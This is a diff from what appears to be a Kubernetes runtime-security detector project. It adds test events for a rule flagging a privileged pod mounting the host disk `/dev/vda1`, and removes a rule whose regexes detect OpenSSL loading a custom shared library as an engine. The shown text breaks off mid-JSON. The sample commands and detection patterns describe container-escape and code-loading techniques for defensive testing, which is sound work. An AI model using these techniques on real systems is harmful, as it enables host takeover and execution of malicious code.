- "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ] - }, - "ns": { - "uts": { - "inum": 4026532795, - "is_host": false - }, - "ipc": { - "inum": 4026532796, - "is_host": false - }, - "mnt": { - "inum": 4026533178, - "is_host": false - }, - "pid": { - "inum": 4026533284, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533284, - "is_host": false - }, - "net": { - "inum": 4026532797, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026531835, - "is_host": true - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 4008327, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "parent": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjcwNjgxOTk2NzczNDg0OTE6NDAwNzU3Ng==", - "pid": 4007576, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2024-08-07T10:35:35.323559007Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian-privileged", - "container": { - "id": "cri-o://497809a2cbb0695fbd5383072cfb59e5c3b6905ab1ac336147cccbcf4a2b224e", - "name": "test-pod-debian", - "image": { - "id": "31d5e503c34f4496a263fb3557575cf53e6a40add4c459370120c7454985f7b7", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-05-18T19:36:18Z", - "pid": 3490, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian-privileged", - "workload_kind": "Pod" - }, - "docker": "497809a2cbb0695fbd5383072cfb59e", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjcwNjgxOTk2NzU0NDcwMTg6NDAwNzU3Ng==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ], - "inheritable": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ", - "CAP_PERFMON", - "CAP_BPF", - "CAP_CHECKPOINT_RESTORE" - ] - }, - "ns": { - "uts": { - "inum": 4026532795, - "is_host": false - }, - "ipc": { - "inum": 4026532796, - "is_host": false - }, - "mnt": { - "inum": 4026533178, - "is_host": false - }, - "pid": { - "inum": 4026533284, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533284, - "is_host": false - }, - "net": { - "inum": 4026532797, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026531835, - "is_host": true - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 4007576, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "function_name": "__x64_sys_mount", - "args": [ - { - "string_arg": "/dev/vda1", - "label": "" - }, - { - "string_arg": "/mnt/hola", - "label": "" - } - ], - "return": { - "int_arg": 0, - "label": "" - }, - "action": "KPROBE_ACTION_POST", - "kernel_stack_trace": [], - "policy_name": "mount", - "return_action": "KPROBE_ACTION_POST", - "message": "", - "tags": [], - "user_stack_trace": [] - }, - "node_name": "experts-k8s-cs", - "time": "2024-08-07T10:36:53.223566947Z", - "aggregation_info": null +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } - -*/ diff --git a/event-processor/detector/wasm/CS_RT_MOUNT_DEV/testdata/negative_wrong_func.json b/event-processor/detector/wasm/CS_RT_MOUNT_DEV/testdata/negative_wrong_func.json new file mode 100644 index 00000000..2520b11f --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_MOUNT_DEV/testdata/negative_wrong_func.json @@ -0,0 +1,35 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 12345, + "binary": "/bin/mount", + "arguments": "/dev/sda1 /mnt" + }, + "function_name": "__x64_sys_umount", + "args": [ + { + "string_arg": "/dev/sda1" + }, + { + "string_arg": "/mnt" + } + ], + "return": { + "int_arg": 0 + } + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_MOUNT_DEV/testdata/positive_mount_block_device.json b/event-processor/detector/wasm/CS_RT_MOUNT_DEV/testdata/positive_mount_block_device.json new file mode 100644 index 00000000..41786606 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_MOUNT_DEV/testdata/positive_mount_block_device.json @@ -0,0 +1,490 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjcwNjgyNzc1NzI1NzU1NjQ6NDAwODMyNw==", + "pid": 4008327, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/mount", + "arguments": "/dev/vda1 /mnt/hola", + "flags": "execve rootcwd clone", + "start_time": "2024-08-07T10:36:53.218786013Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian-privileged", + "container": { + "id": "cri-o://497809a2cbb0695fbd5383072cfb59e5c3b6905ab1ac336147cccbcf4a2b224e", + "name": "test-pod-debian", + "image": { + "id": "31d5e503c34f4496a263fb3557575cf53e6a40add4c459370120c7454985f7b7", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-05-18T19:36:18Z", + "pid": 3497, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian-privileged", + "workload_kind": "Pod" + }, + "docker": "497809a2cbb0695fbd5383072cfb59e", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjcwNjgxOTk2NzczNDg0OTE6NDAwNzU3Ng==", + "refcnt": 1, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ], + "inheritable": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ] + }, + "ns": { + "uts": { + "inum": 4026532795, + "is_host": false + }, + "ipc": { + "inum": 4026532796, + "is_host": false + }, + "mnt": { + "inum": 4026533178, + "is_host": false + }, + "pid": { + "inum": 4026533284, + "is_host": false + }, + "pid_for_children": { + "inum": 4026533284, + "is_host": false + }, + "net": { + "inum": 4026532797, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026531835, + "is_host": true + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 4008327, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "parent": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjcwNjgxOTk2NzczNDg0OTE6NDAwNzU3Ng==", + "pid": 4007576, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2024-08-07T10:35:35.323559007Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian-privileged", + "container": { + "id": "cri-o://497809a2cbb0695fbd5383072cfb59e5c3b6905ab1ac336147cccbcf4a2b224e", + "name": "test-pod-debian", + "image": { + "id": "31d5e503c34f4496a263fb3557575cf53e6a40add4c459370120c7454985f7b7", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-05-18T19:36:18Z", + "pid": 3490, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian-privileged", + "workload_kind": "Pod" + }, + "docker": "497809a2cbb0695fbd5383072cfb59e", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjcwNjgxOTk2NzU0NDcwMTg6NDAwNzU3Ng==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ], + "inheritable": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ] + }, + "ns": { + "uts": { + "inum": 4026532795, + "is_host": false + }, + "ipc": { + "inum": 4026532796, + "is_host": false + }, + "mnt": { + "inum": 4026533178, + "is_host": false + }, + "pid": { + "inum": 4026533284, + "is_host": false + }, + "pid_for_children": { + "inum": 4026533284, + "is_host": false + }, + "net": { + "inum": 4026532797, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026531835, + "is_host": true + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 4007576, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "function_name": "__x64_sys_mount", + "args": [ + { + "string_arg": "/dev/vda1", + "label": "" + }, + { + "string_arg": "/mnt/hola", + "label": "" + } + ], + "return": { + "int_arg": 0, + "label": "" + }, + "action": "KPROBE_ACTION_POST", + "kernel_stack_trace": [], + "policy_name": "mount", + "return_action": "KPROBE_ACTION_POST", + "message": "", + "tags": [], + "user_stack_trace": [] + }, + "node_name": "test-k8s-cluster", + "time": "2024-08-07T10:36:53.223566947Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_MOUNT_DEV", + "severity": "HIGH", + "reason_contains": "mount", + "tactics": [ + "TA0004" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "HIGH", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_OPENSSL_CUSTOM_LIB_LOAD/main.go b/event-processor/detector/wasm/CS_RT_OPENSSL_CUSTOM_LIB_LOAD/main.go deleted file mode 100644 index b0413793..00000000 --- a/event-processor/detector/wasm/CS_RT_OPENSSL_CUSTOM_LIB_LOAD/main.go +++ /dev/null @@ -1,371 +0,0 @@ -//go:build tinygo.wasm - -package main - -import ( - "context" - "regexp" - - "github.com/runtime-radar/runtime-radar/event-processor/detector/api" - "github.com/runtime-radar/runtime-radar/event-processor/detector/api/tetragon" -) - -const ( - ID = "CS_RT_OPENSSL_CUSTOM_LIB_LOAD" - Name = "OpenSSL: custom library loading" - Description = "The detector detects if the OpenSSL utility was used to load custom libraries, which may indicate an attacker's attempt to run malicious code." - Version = 1 - Author = "Runtime Radar Team" - - License = "Apache License 2.0" -) - -var ( - // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions - // which will be used by Detector. If function names are not applicable for - // a particular event type, such as "PROCESS_EXEC", leave slice empty or use - // wildcard "*". - triggerCriteria = map[string][]string{ - "PROCESS_EXEC": {}, - - // Examples: - // - // "PROCESS_KPROBE": {"security_file_permission", "security_mmap_file", "security_path_truncate"}, - // In order to process all possible functions leave right-hand part empty or use wildcard "*": - // "PROCESS_EXEC": {}, - // same as: - // "PROCESS_EXEC": {"*"}, - } -) - -var ( - // Command for loading custom user library as crypto engine. - libraryLoadCmd = regexp.MustCompile(`^engine\s(?:dynamic\s)?.*-pre SO_PATH:.*-pre LOAD`) - // Load custom user library using -engine option as part of other openssl commands. - libraryLoadOption = regexp.MustCompile(`^\w+\s-engine\s`) -) - -// main is required for TinyGo to compile to Wasm. -func main() { - api.RegisterDetector(Detector{}) -} - -type Detector struct{} - -func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { - return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, - }, nil -} - -func (d Detector) TriggerCriteria(ctx context.Context, req *api.TriggerCriteriaReq) (*api.TriggerCriteriaResp, error) { - resp := &api.TriggerCriteriaResp{ - Criteria: make(map[string]*api.TriggerCriteriaResp_FuncNames, len(triggerCriteria)), - } - - for k, v := range triggerCriteria { - resp.Criteria[k] = &api.TriggerCriteriaResp_FuncNames{FuncNames: v} - } - - return resp, nil -} - -func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectResp, error) { - // Detector info added to DetectResp because detector info is always correlated to response, thus - // to avoid +1 Wasm call on detect. - resp := &api.DetectResp{ - // Default response indicates that nothing detected (this is redundant and put here just for reference, - // as Severity == api.DetectResp_NONE == 0 when omitted (default zero value)). - Severity: api.DetectResp_NONE, - } - - event := req.GetEvent().GetEvent() - - switch ev := event.(type) { - case *tetragon.GetEventsResponse_ProcessExec: - exec := ev.ProcessExec - args := exec.GetProcess().GetArguments() - - if libraryLoadCmd.MatchString(args) || libraryLoadOption.MatchString(args) { - resp.Severity = api.DetectResp_MEDIUM // <-- threat detected - return resp, nil - } - - return resp, nil - - case *tetragon.GetEventsResponse_ProcessExit: - // Nothing here - case *tetragon.GetEventsResponse_ProcessKprobe: - // Nothing here - case *tetragon.GetEventsResponse_ProcessTracepoint: - // Nothing here - } - - return resp, nil -} - -/* Example event (JSON): -{ - "process_exec": { - "process": { - "exec_id": "cHRjcy1kZWJpYW4tMTE6NDUxNDY1OTkyOTExODg2OToyNzQzNjc2", - "pid": 2743676, - "uid": 0, - "cwd": "/root/openssl", - "binary": "/usr/bin/openssl", - "arguments": "engine dynamic -pre SO_PATH:./hostname.so -pre LOAD", - "flags": "execve clone", - "start_time": "2025-04-10T14:17:32.090308606Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://e9db8d37b2ebde52f63ed8055253e3829175d82285cefa1c06014a8ff59b11c8", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2025-03-04T11:51:22Z", - "pid": 5520, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "e9db8d37b2ebde52f63ed8055253e38", - "parent_exec_id": "cHRjcy1kZWJpYW4tMTE6NDUxNDQ1NjExOTAyMTQzNzoyNzM4MTc4", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533060, - "is_host": false - }, - "ipc": { - "inum": 4026533061, - "is_host": false - }, - "mnt": { - "inum": 4026533063, - "is_host": false - }, - "pid": { - "inum": 4026533064, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533064, - "is_host": false - }, - "net": { - "inum": 4026532932, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026533065, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 2743676, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "parent": { - "exec_id": "cHRjcy1kZWJpYW4tMTE6NDUxNDQ1NjExOTAyMTQzNzoyNzM4MTc4", - "pid": 2738178, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2025-04-10T14:14:08.280211442Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://e9db8d37b2ebde52f63ed8055253e3829175d82285cefa1c06014a8ff59b11c8", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2025-03-04T11:51:22Z", - "pid": 5508, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "e9db8d37b2ebde52f63ed8055253e38", - "parent_exec_id": "cHRjcy1kZWJpYW4tMTE6NDUxNDQ1NjExMzYyNjk4NzoyNzM4MTc4", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533060, - "is_host": false - }, - "ipc": { - "inum": 4026533061, - "is_host": false - }, - "mnt": { - "inum": 4026533063, - "is_host": false - }, - "pid": { - "inum": 4026533064, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533064, - "is_host": false - }, - "net": { - "inum": 4026532932, - "is_host": false - }, - "time": { - "inum": 